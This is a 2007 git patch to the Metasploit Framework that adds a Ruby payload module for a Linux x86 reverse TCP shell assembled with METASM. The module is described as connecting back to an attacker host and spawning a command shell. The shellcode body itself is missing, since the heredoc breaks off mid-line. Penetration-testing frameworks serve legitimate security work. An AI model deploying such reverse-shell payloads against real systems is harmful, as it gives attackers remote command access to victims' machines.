From fe56bc418f2d34eccd96a771991c381ac531c73f Mon Sep 17 00:00:00 2001 From: HD Moore Date: Tue, 3 Jul 2007 04:22:32 +0000 Subject: [PATCH] Sample payload rewrite that uses METASM git-svn-id: file:///home/svn/framework3/trunk@5017 4d416f70-5f16-0410-b530-b9f4589650da --- .../singles/linux/x86/shell_reverse_tcp2.rb | 104 ++++++++++++++++++ 1 file changed, 104 insertions(+) create mode 100644 modules/payloads/singles/linux/x86/shell_reverse_tcp2.rb diff --git a/modules/payloads/singles/linux/x86/shell_reverse_tcp2.rb b/modules/payloads/singles/linux/x86/shell_reverse_tcp2.rb new file mode 100644 index 0000000000..ffe5d23431 --- /dev/null +++ b/modules/payloads/singles/linux/x86/shell_reverse_tcp2.rb @@ -0,0 +1,104 @@ +# $Id: shell_reverse_tcp.rb 4984 2007-06-09 02:25:31Z hdm $ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/projects/Framework/ +## + +require 'metasm' +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/base/sessions/command_shell' + +module Msf +module Payloads +module Singles +module Linux +module X86 + +module ShellReverseTcp2 + + include Msf::Payload::Single + include Msf::Payload::Linux + + def initialize(info = {}) + +# Remark: this function seems to be called a LOT, even before the shellcode is used. +# We would better implement some caching. + +# We decoded skape's shellcode by using irb -r metasm-shell +# and: puts shellcode.decode + sc=Metasm::Shellcode.assemble(Metasm::Ia32.new, < 'Linux Command Shell, Reverse TCP Inline - Metasm demo', + 'Version' => '$Revision: 4984 $', + 'Description' => 'Connect back to attacker and spawn a command shell', + 'Author' => 'skape + Yoann Guillot and Julien Tinnes for metasm PoC', + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::CommandShell, + 'Payload' => + { + 'Offsets' => + { + 'LHOST' => [ sc.offset_of_reloc('LHOST'), 'ADDR' ], + 'LPORT' => [ sc.offset_of_reloc('LPORT'), 'n' ], + }, + 'Payload' => sc.data + } + )) + end + +end + +end end end end end